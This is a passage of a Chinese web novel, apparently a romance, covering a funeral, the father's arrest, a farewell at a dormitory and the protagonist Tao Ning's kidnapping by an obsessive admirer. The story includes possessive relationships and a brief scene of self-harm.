陶柠的记忆力很好,提醒他:“我们契约的奴隶关系只在你上次养伤期间存续,现在你的伤已经好了,我们都是平等公民,而且奴隶社会早在几千年前就名存实亡了。” 宋郁丛气得头顶要冒烟,瞪着他:“我是在跟你讨论奴隶关系么?乡巴佬你读书读成傻子了吧,给我闭嘴!” 陶柠沉默,万万没想他也会因为读书被叫做傻子的一天,而且还是他觉得很笨的人说出来的。 想跟宋郁丛把这件事厘清楚,结果身前的男人忽然动静很大地翻了个身,背对着他,不搭理他了。 “” 次日清晨,家庭医生又来给陶柠检查了一遍身体,确认烧退了后才走。有佣人给了陶柠一套黑色的西装,配有白菊胸花,每个来悼念的人基本都是这副扮相,一个接一个,仿佛披着精致皮囊的虚伪人偶。 宋郁丛凌晨就出去了,陶柠换好衣服的时候刚好回来,他似乎还在生昨晚的气,看陶柠时鼻子不是鼻子,眼不是眼。 最后重重的哼了一声,“公祭的地方人很多,等会要跟紧我,不准乱走。” 陶柠根本没有察觉到他还在的生气,只是看起来很老实地“噢”了一声。 第82章 第 82 章 我想要你亲我 陶柠等了一会儿, 宋郁丛见他迟迟没动作,回过头,皱眉说:“愣着干什么?” “我还没戴眼镜。” 宋郁丛抿了下唇, 定神看了陶柠片刻,想起他离开宋家的时候是没戴眼镜的, 只要从外面回来,就又戴上那副土不拉几的眼镜。那两副眼镜摸起来用材不菲, 这一穷二白的乡巴佬买得起? 脑海中忽然闪过一些想法,冷脸质问:“你那破眼镜是不是赵静群送的?” 一句话在陶柠心底激起波浪,但他面色不显, 琢磨了下宋郁丛神情,觉得等会儿就要去灵堂了,他心底不会好受, 还是顺着他来吧。 陶柠拐了个弯说:“嗯差不多, 我阿姐托他照顾我, 眼镜没了, 他就会再给我买一副。” 宋郁丛知道陶柠家里的情况,听他提起自己的姐姐, 而赵静群是看在他姐姐的面子上照料陶柠的,脸色瞬间好了,但还是瞪了他一眼, “那破眼镜丑死了,你不准戴。” “好吧。” 拿宋郁丛无可奈何,陶柠只好老老实实跟他走了,同时在心底暗暗审视自己,从前他似乎不是这样的人,基本上有什么说什么, 按照他平日里的脾性,应该是直截了当说个“是”,然后随宋郁丛怎么想。 没想到自己也会拐弯抹角了么?陶柠有些困惑,不知道自己这种变化究竟是好还是坏,或者说,他只会对一些人这样呢 到了外面,如宋郁丛所说的用人头攒动来形容也不为过。 放眼望去,全是黑压压的一片人,有掩面低泣的、笑的,不过大多数人的表情都和宋郁丛一样,平静无波,至于究竟是真的平静还是假的,陶柠就不得而知了,他只能顺着宋郁丛来。 远远看去,宋荣国站在灵堂最前方,同人交谈,不见宋珩的身影,陶柠猜他是去接待宾客去了。 只是那天晚上的噩梦后,陶柠发自内心抗拒见到宋珩,不在也好。看了一圈,没找到心里惦记的人。 宋郁丛进入灵堂后,没有去看最前方的灵柩和印着笑颜的照片,他怕只一眼,就维持不住表面的平静,内心无处发泄的愤怒与痛苦会顷刻间点燃,届时闹得整个灵堂不得安宁。 所以他把全部的思绪放在陶柠身上。 而陶柠一张脸染着病态的苍白,魂不守舍,潋滟的眼睛却时不时转动,一看就知道是在找什么东西。 是东西还好,是人的话宋郁丛绝对会翻脸,只是陶柠现在很老实地待在他身边,没乱跑,宋郁丛就由他看来看去了。 来吊唁的人里有宋郁丛的狐朋狗友,跟他不在一个学校,没见过陶柠。 看宋郁丛身边站着这么一个姿容绝色的少年,眉眼如画,肤色雪白,而且身形瞧上去有几分病弱,只怕站不了多久,就会被沉闷的黑色西装给压垮了,不免想入非非。 不怀好意的视线隔三差五朝身旁的人撇过来,宋郁丛没有黑脸,反而神情有些自得,因为他知道那些人龌龊的想法,可那又怎么样? 陶柠只能站在他旁边,只能是他的,哪儿都不能去。 他们也没胆子向宋郁丛要人。 可偏偏还是有看见陶柠的脸蛋和身姿,惊为天人,一时间心痒难耐,想和陶柠套个近乎,结果还没靠近,宋郁丛用冰冷的声音毫不客气说:“滚。” “滚开——”灵堂入口忽然骚动,铿锵有力的女声传来,人来人往的灵堂瞬间安静,纷纷停下攀谈来往。 恰巧陶柠跟着宋郁丛进来没多久,离得很近,能看清对面发生的事情,只见人群里,一个大约四十多岁的贵妇人满脸愤怒,可以看出她今日化了精致的妆容,公众之下想要保持体面。 此时此刻贵妇人却皮肉发抖,像是再也压抑不了滔天怒火。而在她身后,跟着宋珩,平日里温和的皮相也有几分阴沉,但最令陶柠发愣的是,一个高大的人影也跟在他们后面。 是赵静群。 他没有穿平时经常穿的休闲衬衣,黑色西装衬得赵静群身高腿长,以往不加掩饰的匪气被藏在昂贵平整的西装下,只能隐约窥见衣衫后勃发的肌肉线条,凌厉如削,脸上也没笑意,看起来更不好惹了。 似乎是心有感应,赵静群猛地回头,与陶柠弯弯的眼睛对上,这几天悬着的一颗心终于落回归处,他想穿过拥挤的人群,去找他思念如狂的宝贝,但是看到陶柠身旁的人后,微微眯起眼,没动。 宋郁丛显然也看见了赵静群,冷嗤一声,即使陶柠多次澄清他和赵静群没有不可告人的事情,但宋郁丛内心依旧不爽,挑衅似的,忽然抓住陶柠的手。 隔着几十个人的距离,陶柠都能感受到背后发凉,滚烫到能把血肉灼出洞的目光落在他手腕处,而宋郁丛刚好箍住了他的手腕。千防万防,攻略对象还是互相见面了。 陶柠不敢再看赵静群,只好有些心虚地低下头,而落在他身上的视线更烫更冷了。“跟我走。”宋郁丛不由分说带他离开了原地。 而灵堂入口的闹剧已经逐渐转移到灵柩前,贵妇人浑身发抖,即使有精致的妆容遮掩,也再也掩饰不了神情痛苦,她嚎啕大哭,“玥玥,我来晚了你你糊涂啊!你为了宋荣国那个畜生竟然你糊涂!” 她掩面大哭,周围的人面面相觑,显然是不知道缘由,因为到了他们这个阶层,就算是有至亲至爱的人去世,也不会公然大哭,更不会当着公祭主人家的面痛骂,如非必要,应当有不为人知的故事。 陶柠瞟了一眼抓住他手不放的宋郁丛。他在出神,看着这场闹剧却目光平静,像是事不关己的身外人。 过了许久,宋郁丛低声说:“她是我吴玥的朋友。” 陶柠用另一只自由的手拍了拍宋郁丛的后背,希望给予他一丝慰藉。 而随着四周聚集的人越来越多,有人认出了贵妇人,七嘴八舌间陶柠大致厘清了故事的始末。 贵妇人是宋夫人生前最好的朋友,家世虽不及船王吴氏,但也是商贾之家的千金,当时贵妇人觉得宋荣国不是个什么好东西,所以极力劝阻宋夫人嫁给宋荣国,结果两人生出了嫌隙,很多年没有再见面了。 昔日至交故友,再见已是阴阳两隔,实在叫人唏嘘。 宋荣国脸色铁青,斥责佣人,“没用的东西,谁让你们放这个疯子进来的?”到了这种地步,他装了几十年的脸面再也绷不住了。 结果一言激起千层浪,贵妇人猛地扭过头,美目瞪着宋荣国,那模样像是恨不得把他生吃了,她冲上去就扇了宋荣国一巴掌。 “你敢骂我疯子?!不要脸的东西,前几年我见玥玥还是好好的,问她生活如何身体如何,她跟我说都好,都好?这就是都好?!她一定是被你逼死的!你个畜生!” 贵妇人脸色狰狞,心尖滴血,曾经因为埋怨吴玥为了一个男人几乎放弃自我的愤怒,如今在冷冰冰的遗照前,均化作了痛心。 所以她是真想抽死宋荣国这个三心二意的畜生,又是要一巴掌扇过去,但被及时赶来的佣人和保镖拦住了。 “刘姨,看在我母亲还未入土安息的份上,今日到此为止吧。”温和有礼的声音响起,宋珩不紧不慢走过来,让佣人和保镖退开了。 但对于他的相劝,贵妇人并不领情,反而给了他一记冷眼,宋珩却面不改色,依旧谦虚有礼。 贵妇人冷冷逼问宋荣国,“玥玥究竟是怎么怎么走的?”说到这里,她眼底闪过痛苦,咬着牙,强忍怒火说,“你们宋家父子有多冷血,我这几年是领教了,所以我根本不信报纸上的说法。宋荣国,你敢不敢当着玥玥的面,告诉所有人她究竟是怎么走的?!” 反常的是,宋荣国这次没有面红耳赤反驳,脸色由刚才的铁青转为灰败,顷刻之间,仿佛老了十几岁。过了很久,在贵妇人的声声斥责下,这个贪婪无度、机关算尽的中年男人,嘴唇哆嗦说:“刘姝你别问了。” 不仅周围熟悉他的人意外,就连总是脸上挂着微微笑的宋珩,也有些意外的看着他,只是这丝意外跟其他人的不同,就像发现了很有趣的事情。 但这个插曲很快就过去,贵妇人闭了闭眼,问他:“玥玥有没有留下只言片语?” 提起这个,宋荣国神情更显灰败,双目浑浊,已经说不清到底是恨还是其他的了。 “没有。” 贵妇人怔怔的,像是陷入了一场回忆,最终,她沉默下来,没有再争执,烧了柱香,在所有人的注目下,失魂落魄离开了。 很多年前,刘姝因为家里的事,几度想要去海边寻死,是吴玥陪着她度过了一段最很艰难的时光。吴玥问她怎么不怕死?如果人死了,就什么都没有了,所以要好好活着。 刘姝撇嘴,“人都逃不过生老病死,早死晚死都是死,我想早点解脱,不好么?” 结果吴玥捧腹大笑,“好吧好吧,但是你还有一堆遗产要处理呢,我们以前做的手账,拍的照片,曼哈顿一起买的公寓,还有你放在米兰的那些首饰” “拜托,我只想寻个死,哪儿还管那些东西?” 吴玥笑着说,“这是给我们活着的人留个念想,我不管,你没处理好那些东西之前,不准死。” “麻烦,那你是吴伯唯一的女儿,死之前岂不是一堆遗产等着处理。” “是啊,”吴玥佯装无奈,“遗产没处理清楚之前,我才不会死,而且我不仅要处理好我爸留给我的东西,还要写一本自传,几十份遗书,请最好的工匠替我镌刻墓志铭,叫后世子孙都知道我吴玥的风采美貌” 贵妇人终于忍不住放声痛哭。 公祭正式开始时,陶柠看着走到最前方行悼礼的宋郁丛。在他印象里,宋郁丛总是幼稚而不可理喻,可此时此刻,他的背影在近乎死寂的气氛之下,显得如此孤独。 心脏不受控制地疼了起来,以至于陶柠没有看见,身后同样有一双眼睛,沉默至有些迷茫地看着他。 结束时,人群散去,还有一部分要将灵柩抬去灵车,只有宋郁丛,不发一言离开了,经过陶柠时,他顿了一下,最后离开了这个冰冷的地方。 陶柠环顾四周,没看见赵静群,小步跟了过去。 宋家的庄园别墅很大,后面有一大片树林,陶柠刚来时听阿云说过,那是宋家狩猎的地方。 正值黄昏落日,经高耸入云的树木遮挡,地上已经看不清影子了,只有树隙间落下的光晕。 “宋郁丛,里面太黑了我有点怕。” 前方的脚步声停下了,宋郁丛刚想装作不耐烦的模样,想把陶柠赶走,衣袖却被人拉住了,随即温热柔软的手牵住他,少年充满生气和力量的眼睛眨也不眨看着他,“宋郁丛,我们回去吧。” 宋郁丛沉默,黄昏落在他疲倦的眉眼上。 许是手掌的温度太暖和了,宋郁丛根本舍不得推开,也发自内心舍不得赶走。过了许久,他说:“她几天前给我发过一条短信。”这辈子唯一一次。 陶柠没问,只是安静地听着。 “她告诉我下辈子不要做她的孩子了,跟我道歉。”提到这儿,宋郁丛充满讽刺意味的笑出声,“因为她说,没有好好抱过我。” 最后一句话说不出的怨恨,里面又掺杂了太多痛苦。如果是从前的陶柠,他听不懂,可现在,他能听懂了。 陶柠一言不发,抱住了他。紧接着被宋郁丛抱得更紧,头顶的声音听得不真切,“如果我早点发现她是不是就不会死” “不怪你。”陶柠拼命用自身的体温妄图温暖眼前冰冷至极的男人,一遍又一遍告诉他,“不怪你。” “陶柠。”宋郁丛声音发颤。 “嗯,我在。” “陶柠。”抱着他的力度越收越紧。 “我在。” “我想要你亲我。” “好。” 下一瞬,陶柠毫不犹豫给了他一个吻。 宋郁丛扣住怀中人的腰,反客为主,无数爱欲与悲伤倾泻而出,毫无章法碾压、吮吸陶柠脆弱的双唇。 这个吻越来越深,仿佛只有把身体也钻进陶柠体内,彻底相融相依,才能平息他内心无止境的哀伤。 一冷一热,两人相互依存,黄昏树影之下,勾勒出一副难得安宁的画卷。而在他们不远处,偌大的树干后,赵静群沉默地看着。 看着视若珍宝的人对其他男人安慰、拥抱,最后接吻。 阴影投在赵静群脸上,没有消散,原来之融为了一体,直到不远处的两人依偎着离开,赵静群依旧没有走,双脚在土里似乎扎了根,每走一步就要牵动五脏六腑,硬生生将脏器和皮肉剥离。 最后,不知过了多久。 赵静群像是再也撑不住般,他吐出一口气,发着抖点燃了一根烟,可点燃的一瞬间,盯着这抹黑暗里的一点火星,陷入魔怔似的,转而将火星覆上疼痛的虎口。 这里有他年少时被养父烫过的烟疤,仅仅是因为他央求一颗糖而已。 曾几何时,赵静群以为再也不会有比那时更疼的时候了。而到了如今,火焰与疤痕再次相触,皮肉烧焦的味道飘散,赵静群也只感觉到麻木。 可能与心脏的痛比起来,过于微不足道了吧。 第83章 第 83 章 疼 宋夫人的骨灰葬入墓园后, 次日,刺耳的警笛声包围了宋氏的庄园别墅,为原本死气沉沉的地方又增添了几分惶恐, 佣人骚动,而往来的宾客有诧异、不明所以, 还有少部分知情人士坐山观虎斗。 当年一夜之间,曾经声名显赫的吴氏变宋氏, 如今再次改天换地。 无数警察冲入别墅,在场所有人亲眼看见,往日里那个眉纹极深, 面对发妻之死也没悲恸的中年男人,脸上冒出的惊恐肉眼可见。 警察向他出示逮捕证,“宋荣国, 经证人举报, 我单位取证侦查, 你涉嫌走私国家禁止进出口货物、物品罪, 受贿罪,伪造金融机构经营许可证罪等一系列罪责, 现在对你进行依法逮捕,跟我们走一趟吧。” 宋荣国神情剧变,目光扫视众人, 直到宋珩向他投来安定的眼神,惊恐的表情才迅速收敛,又变成了平日里不可一世的宋氏集团董事长。 有年轻的警察想给他戴上手铐,宋荣国冷冷瞪他,“你们说了,我宋某只是嫌疑人, 我一是涉嫌,二没有危险性。你们敢当着省检察长的面滥用职权?一个市局,好大的威风啊。” 的确如宋荣国所说,警察的警械武器必须在特定情况下合法使用,而宋荣国目前的情况并不适合。年轻的警察初来乍到,也不清楚宋珩的身份,听他这么一说,吓得拿手铐的手都在抖。 刚才出示逮捕证的警察表情肃穆,将年轻的警察挡住了,面对宋荣国的咄咄逼人不为所动,“宋董熟知的法律条文,日后跟你的律师去说,现在请跟我们走吧。” 两个警察过来想要把宋荣国‘请’出去,宋珩走过来,淡淡一笑,“正好我找你们杨局有事商议,麻烦张队捎我一程,感激不尽。” 张队犹豫了下,还是不想得罪上级机关的领导,点头同意了。临走前,宋珩平静的视线看向角落里面无表情的人,淡笑:“郁丛,这段时间家里和公司要靠你了,不要让我和父亲还有母亲失望啊。” 那目光分明平静温和,语气却在数双眼睛的注目下,无端显得阴森,仿佛把宋郁丛心中所想看透了。 而走到门口的宋荣国反应过来,回过头,一双鹰眼锐利如刃,看模样是想把宋郁丛生吞活剥了,眼底的恨意仿佛淬了毒,完全不像一个父亲看儿子的眼神。 “没良心的畜生!想不到我宋荣国英明一世,最后栽到一头养了十多年的白眼狼身上,当初我就不该心慈手软,应该听大师的话把你那身下贱的血全部抽光,来祭奠我宋家的祖先,保我宋氏基业再生财百年” 这一番话信息含量过载,惊到了所有人,内心想要看戏的八卦之魂熊熊燃烧,毕竟能够亲眼见证一个掌舵庞大商业帝国的家族的秘幸,可不是件容易的事情。而其中的主人公竟然是被边缘化的宋家二少爷! 这位二少爷只有远近闻名的臭脾气,除此之外,跟年纪轻轻就已是政界新贵的兄长比起来,简直一无是处。难不成把父亲送进监狱是这位二少爷做的?还有血液祭奠先祖的事情,听起来当真是匪夷所思。 所有人的目光看过来,有探究的、看好戏的、戏谑的、敬畏的陶柠一直站在宋郁丛身后,也被这些目光波及,但是他并不在意,即使前方宋珩偶尔看过来的视线叫他非常不舒服。 他只担心宋郁丛心里会不好受。 扯了下身前人的衣袖,结果被反手握住,宋郁丛的手掌一如既往冰冷,但面对所有人不怀好意的探究,此时此刻却有说不出来的力量,通过肌肤相触,源源不断输入陶柠的心底。 他放下心。 而下一刻,所有人都听见了宋郁丛毫不掩饰的讽笑,刺目的白炽灯下,俊美的面容上扯出一抹近乎狰狞的笑,五官都有些扭曲,而里面盛满了的恶毒与憎恨明晃晃展现在众人面前。 仿佛压抑许久的恶魔终于从阿鼻地狱里爬了出来,令人毛骨悚然。 “宋、荣、国。”宋郁丛笑容扭曲,一字一句道,“这么多年来,你从我爷爷那儿偷来的钱是叫你忘了,百年前这个地方,姓的是船王吴啊,而你——就是个倒插门的。哈哈哈,你居然说祭奠宋氏的祖先?” 肆无忌惮的笑声叫在场所有人把心脏提了起来,而宋荣国的脸色黑得跟国底,因为在场的人都知道,这是他一生无法回避的难堪。 偏偏宋郁丛根本不打算放过他,找准他的难堪,就算头破血流也要将其撕扯出来摊开,宋郁丛止住笑意,讽刺道:“想要祭奠你宋氏的祖先,怕不是要坐船坐拖拉机去荒郊野岭松土才能勉强看见坟头吧。啧啧啧,好大的脸。” 无人不知当年宋荣国入赘前是个一穷二白的小子,祖籍在穷乡僻壤。想不到这宋家二少爷原来不仅脾气差得无人能比,阴阳怪气的本事竟然也是一绝。有人憋不住笑,噗嗤笑了出来。 陶柠也觉得好笑,弯了下眼睛,忍住了。 果不其然,宋荣国气得七窍生烟,嘴里大骂他是白眼狼,要活刮了宋郁丛。最后还是张队不想因为他们豪门家里的龌龊事耽误办案,把宋荣国带走了。骂骂咧咧的喧闹声随日暮西沉,终归于宁静。 当天晚上,宋郁丛面无表情把别墅里几乎所有的佣人遣散了,还来了好几拨警察把人押走,就像那天他说的,要把别墅内的人亲手送进警局。 陶柠问他:“这些人犯了什么事?你怎么做到的?” 宋郁丛抱住他,把脑袋钻进陶柠清瘦白皙的锁骨,全然没有白天在别墅内恶毒与“小人得志”的样子,反而闷声道:“不准问。” 陶柠拍了下他的背,“我担心你。” “老东西是罪有应得,我只是在其中添了把火。至于那些人”宋郁丛冷哼,显然是难以启齿,但还是说了。“过去拿我的东西出去卖,我现在看他们不顺眼,新仇旧账一起算,就把他们送进去了。” 陶柠知道“拿”其实是“偷”,温柔地再拍了拍他的背脊。 其实宋郁丛也没有想到,如果按他目前拥有的东西,要扳倒宋荣国还要个六七年,在这之前,他只能忍辱负重装作无事发生,但是老天爷可能也想收了宋荣国这个畜生吧,瞌睡了有人递枕头。 先是从吴氏就有的商业对手把宋荣国职务受贿的证据送了过来,再加上赵静群的助力,可以说如鱼得水。但是想要让宋荣国彻底垮台,还需要时间,因为那些罪名只够他喝一壶,他只要稍微走点关系,暗箱操作,在里面待个一两年就可以出来。 宋郁丛本想再忍耐但是,他松开怀抱,低头,巴掌大的小脸上,那双清透的棕色双眸看过来,似乎是不明所以。 忍不住捏了捏陶柠脸颊上的软肉,宋郁丛想起陶柠背后的赵静群,就是个乡巴佬,背后却有个家财万贯的表哥,即使赵静群说了有个老婆,但宋郁丛觉得这件事很蹊跷,他产生了强烈的危机感。 如果他有足够多的钱,这乡巴佬就会离不开他了吧。 泄愤似的收紧手指的力道,手下的人轻呼:“疼。” “哼,忍着。” 陶柠拍开他的手,捂住印上红痕的半边脸,皱眉道:“我说实话,你跟宋氏是一损俱损,一荣俱荣的关系,他进监狱后肯定会对你们家的公司有影响,如果未来波及到你,你该怎么办?” 宋郁丛忍不住又捏他的软肉,“你个乡巴佬还挺懂。” 陶柠躲开他的手,有些无奈道:“我又不笨。” 宋郁丛也没再继续闹他了,忽然没头没尾地来了句:“陶柠,你喜欢钱吗?” 听到他这么问,陶柠愣住,记忆的潮水打开了闸门,缓缓流入很久前,阳光下的徐隽对他说,你以后会有很多金镯子。 眼睫低垂,陶柠轻声说:“还好,谈不上喜不喜欢。” 从小到大,养父养母会为了钱争吵,阿姐也会和姐夫为了钱争吵,二姐三姐为了钱想把他送入孤儿院,而他也需要钱治病人人都被薄薄的一张纸所支配,古往今来,钱凌驾于众生的喜怒哀乐之上。 喜不喜欢,都需要它,有什么可说的呢? 结果宋郁丛冷嗤,又说他是读书读傻了。 并没有指望自小生活优渥的少爷理解山里的学生唯有靠读书改变命运的想法,陶柠笑了笑,“那如果你不读书,会去干什么?” 沉默忽然蔓延,宋郁丛别开脸,目光放空,“我以前只想弹钢琴。” 陶柠若有所思点头,“嗯,我支持。” “” 宋郁丛抱住他,咬了下他的耳尖,磨了磨牙,恶狠狠道:“今天我跟你说的话,一个字都不准往外说。” “噢。” 两人去睡觉了。 宋家的闹剧在海州人尽皆知,陶柠的身体养好了点后,要回学校了。尽管宋郁丛百般不乐意,但真正触及到陶柠原则的事情,根本拗不过他,只好跟着他一起回学校。 只是出发前,陶柠有些心不在焉的。 宋郁丛看他恍惚的模样,很不爽,搞出了点动静吸引陶柠的注意力,就像幼稚的三岁小孩,只想大人的视线全部在他身上。 宋郁丛把车上的点心打翻了,陶柠回过神。 “怎么了?” “没事。”宋郁丛硬邦邦说,臭着脸。 “嗯。” 然后果不其然,陶柠又自顾自地发起呆。 他心里其实有些乱,因为公祭日之后,他就没见过赵静群了,就算私底下偷偷借了其他人的手机打电话,也联系不上。就好像不仅宋家一夜之间巨变,赵静群也在一夜之间消失了。 与此同时,莫名的慌乱在心底滋生,陶柠微蹙眉,想不通为什么,只好压下这股没由头的情绪。等到了学校再尝试联系赵静群吧。 车辆驶入校门,结果宋郁丛忽然发了一通脾气,话里话外都是不满陶柠离开身边,最后还是陶柠哄了半天把他哄得服服帖帖了,宋郁丛才哼着气放他回宿舍。 陶柠松了口气,这位攻略对象加少爷是真难伺候,好在他现在找到应对的办法了。 刚到宿舍门口,嘎吱一声,门悄无声息打开,很淡的消毒水味涌入鼻尖,陶柠看着一地大大小小的行李,整齐地摆在左侧,心脏像被刺了一下,僵住了。 “徐隽你要走了吗?” 第84章 第 84 章 陶柠被绑走 距离听到徐隽要休学的消息已经过去了近一个月, 但耳朵听到的都是虚的,唯有亲眼所见,陶柠才有种真实的感觉——徐隽要离开了。 他在徐隽写下的情书上得到了“我爱你”, 得到了他的真心,攻略他的任务应当算完成了吧。如果徐隽休学了, 他们未来还会再见吗 面对突如其来的分别,陶柠生出了从未有过的迷茫, 迫切地想要知道一个答案:【攻略徐隽的任务完成了?】 脑海里那道他不愿意多交流的声音轻笑,原本模糊的声音逐渐与宋家的长子宋珩重叠,带了点难以言喻的讽刺:【我以为你已经把任务忘了。】 陶柠抿唇, 【我不会忘。】 【算完成了,但——】系统的声音装模作样拖长,【不够, 还差一点。】 【差多少?是缺少了宋郁丛的部分吗?】 系统轻笑, 不再言语。无论陶柠怎么询问, 脑海中的动静归于死寂, 没有任何回音,直到前方冰冷的声线淡淡响起, “你又走神了。” 心脏错乱地跳动了一瞬,陶柠的注意力被拉回来,他看向宿舍内的人。 徐隽安静地立在中央, 黯淡的光线洒下来,一部分在脚下映出挺拔的影子,另一部分被冰凉的金丝眼镜遮挡,让人看不清镜片后的双眸。 而下方,衬衫最后一个扣子被扣上,可衣袖却随意拉扯至肘节处。 冷淡、也放纵。 恍惚间, 上一次徐隽质问他的模样似乎和今日是一样的,极具锋芒,气场强势。 陶柠作为一个背负了目的与秘密的人,对徐隽的刨根问底发自内心感到畏惧,没有问他为什么说“又”,而是忍不住后退了一步。 但徐隽仿佛不在意他的逃避,收回冷淡的视线,继续弯腰收拾东西。陶柠走过去,发现是他们曾经一起做过的习题,还有几盆多肉,徐隽把这些全部收了起来,放进黑色盒子里,最后收入行李箱。 “徐隽”陶柠轻声问,“你我们以后还会再见面吗?” 即使宿舍几经清扫,等待未归的另一个主人,但空气中的浮尘在光线下依旧清晰。 徐隽合上行李箱,听到最后一句话,抬起眼,“平心而论,我并不想和剖析过自己诉说感情的人再见面。” “” 陶柠不知道该怎么回答,他别过头,不太敢和徐隽对视。如果说在赵静群身边、宋郁丛身边,他可以含糊过去,因为陶柠知道他们绝对信任自己。可面对徐隽,陶柠产生了无能为力的挫败感。 他所有的谎言徐隽都可以轻而易举看穿,也许在徐隽眼里,他是个三心二意的人。 “对不起。” 我无法回应你。 宿舍内没有了声音,只有收拾行李窸窸窣窣的动静。陶柠默默站在他旁边,看着徐隽有条不紊整理,直到他最后收拾出来了两个行李箱和一个书包,还有一个轻巧的帆布袋。 “我帮你提到校门口吧。”一想到他和徐隽未来再也没有见面的可能,陶柠就觉得很难过,不由分说拿起他的书包,结果被修长有力的手指压住。 两片温热的肌肤相触的刹那间,陶柠感觉到对方有些颤抖。 “不用。”徐隽迅速移开手,拿回书包背起来。徒留陶柠有些讪讪,他低头“噢”了一声,不知道该怎么办。 说不清到底是即将失去一个好朋友难过,还是失去徐隽难过。 直到行李箱滑轮滚动的声响在门口停住,徐隽背对着他,不知道在想些什么,片刻低声道:“最后再送我一程吗。” “好好。”陶柠倏然抬起头,没有眼镜遮挡的、漂亮的脸上眸光闪烁,弯起眼睛跟了上去。 两人离开了宿舍,而隔壁宿舍的人恰好看到这一幕,有些困惑地挠头,“徐隽旁边的那个人是谁啊?哎唷不对啊,他不几天前就开始收拾东西了吗,怎么今天才走” 一路无言到校门口,陶柠低着头,犹犹豫豫说:“我再送你一段路吧。” “嗯。” 上了地铁,陶柠又说:“已经到这里了,我想送你回到家。” “嗯。” 此时正是午休的时候,地铁上人很多。陶柠站在角落里,徐隽用两个行李箱还有自身给他圈出一小块可以自由活动的地方,只是做这些的时候脸上没什么表情,垂眼看行李箱的拉杆。 如果徐隽不说话,陶柠也不知道该怎么开口。 无声的沉默在他们之间蔓延,陶柠忽然有点喘不过来气,他其实不知道自己究竟喜欢什么,只知道,他不喜欢离别。 到了站点,陶柠跟着徐隽下车,因为徐隽家所在小区很老旧,中午过去,已经没什么人在玉兰树下的旧街道上,街道两旁的商家也终于闲下来,闭门谢客。 于是天地之间,只有他们两人在巷子里一前一后行走。 玉兰树宽长的树叶沙沙作响,一直到小巷的拐角,陶柠停下脚步,说:“徐隽,我把那封信粘好了,以后可以给你寄过来吗?” 前方的人跟着停下来,影子薄而孤寂,无声道:“连那些也不想要么”然而,一阵突如其来的脚步声彻底打断了这声低喃,身后忽然发出“唔——”的声响,似乎有人在挣扎! 宛若被尖刀抵住脖颈的危险如滂沱大雨袭来,徐隽一惊,迅速回头,眼前一个黑影一晃而过,“砰”的一声,徐隽甚至根本看不清来人,后脑勺传来一阵剧痛。 徐隽极力想要看见陶柠,然而目光涣散,强烈的晕眩感挡无可挡,在晕倒过去的最后一刻,他只感觉到一道冰冷刺骨的视线。 就像一棍子敲晕他的人已经潜伏很久了,隐忍至极的每一刻,都想剜下他的血肉。 直到现在 陶柠? 模糊的光线里,少年一身洗的发白的旧衣物,吹起的风让衬衫的衣角鼓起,勾勒出他削瘦如青柳的背影,仿佛融入了秋日自由的风。似乎是听到有人呼喊他,昏暗的巷子下,少年回过头—— 陶柠陶柠不要走! 然而无论如何呼喊也看不清少年的面庞,直到又一阵风吹过来,少年在模糊的光影中消失了。 不要!! 徐隽猛地睁开眼,梦境里的人消失得太快,让人分不清究竟是一场梦还是现实,他大口呼吸着,眼前有些模糊,接着眼前的画面逐渐清晰,白色的天花板与输液袋,这里是医院。 有人把他敲晕后,陶柠不见了。而他到了医院。 只要想到陶柠几乎是在他眼皮子底下被人绑走了,徐隽心底那根名为理智的弦瞬间崩塌,根本顾不得自己还在扎着针,额头上有绷带,拔了针头,掀开被子就要下床。 “哎哎哎,七号床你干什么呢?”过来给他换药的护士不明所以,见这位被路人送过来的倒霉蛋像疯了般要冲出去,连忙喊道:“拦住他!” “走开!” 徐隽理智全无,再也没有平日里游刃有余的冷静与冷漠,他满脑子都是陶柠在他身边被人绑走的画面,如果如果陶柠出什么事,哪怕是一点事,他也绝不会原谅自己! 这些人为什么要挡住他?!徐隽像一条被激怒的毒蛇,不分青红皂白冲过去,有人想拽着他回病床上,徐隽直接挥拳过去,不管不顾挣扎地想要离开,总是一丝不苟的衣衫也乱得彻底不成样子。 场面迅速混乱,那些医生护士完全想不到送过来的不是个脑子受伤的倒霉人,而是个神经病!挨了几拳头后,有人哎哟哎哟破口大骂,直到又是“砰——”的一声响。 病房的门被人踹开了,来人走路带着汹涌愤怒的疾风,三步并两步,推开所有人,一把掐住徐隽的衣领,双目赤红,怒吼道:“陶柠呢?你把陶柠带哪儿去了!” 脑袋上的绷带渗出血迹,伤口的疼痛与怒喝声终于让徐隽清醒下来,他喘着气,用力推开宋郁丛,狠狠攥紧的拳头松了又松,冷静道:“陶柠被人绑走了,赶快报警。” “你他妈说什么?!” 刺耳的警笛声迅速响彻医院,等徐隽做笔录的时候,天色已经全部黑了,警察问完陶柠是在哪里消失的等等问题后,最后一个问题,是陶柠的社会关系。 警察局内的光线很差,做笔录的空间甚至可以用狭小来形容,不宽敞的红木桌前,徐隽面色冷漠,回答精简却清晰明了,全然没有在医院里的狼狈。 而房间外面,还能隐约听见宋郁丛气急败坏的声音。 “被害人父母双亡,家里只有一个姐姐和外甥,就没有其他亲人了?” 光线越来越暗,徐隽忽然抬眼,镜片后的眸光冷得警察都吓了一跳,心想这人年纪不大,怎么会有那么冰冷且充满了仇视的目光?但再仔细看,面前的人又是一副冷漠的样子。 问什么也答什么。 “没有。” “那行了,你先回去吧,我们有消息了会通知你。” 一个警察合上笔录,另一个也拿起茶杯就要走,然而等他们两个人刚站起来,身后的人忽然说:“我想起来他还有一个亲戚在海州,和他关系走得很近。” 走在路上突然被人绑了,不为财不为色,那就只有情了,而且这个人刚好在海州,这可是条线索啊!两个警察双目发光问:“是谁?” 徐隽目视前方,像盯着墙壁,也像是透过墙在看什么东西,冷冷道:“他的表哥,赵静群。” 滴答,滴答,指针转动。 被黑暗笼罩、看不见一丝光的房间里,墙壁上,贴满了密密麻麻的照片,它们被混乱分布,就像一张狰狞的蜘蛛网,而每张照片上的场景都是不同的,唯一相同的地方,是一个背影清瘦的少年。 正是陶柠。 房间里还摆放了一张四五米宽的软床,这是里面除了钟表,唯一一件家具,孤零零地摆放在卧室中央,仿若一叶孤舟被人囚进了黑暗里。 混乱与困惑占据了全部思绪,陶柠不适地皱了皱眉,昏迷前最后的记忆,是鼻尖古怪的气味,还有一个熟悉滚烫的怀抱,除此之外,就什么都不记得了 是谁? 纤长浓密的睫毛微微颤抖,陶柠睁开眼眸,映入眼帘的,却是一望无际的黑暗,很像他之前做过的噩梦,无边无际的黑暗,叫人毛骨悚然般恐惧 发生了什么?他又被剥夺视力了吗? “系统?” 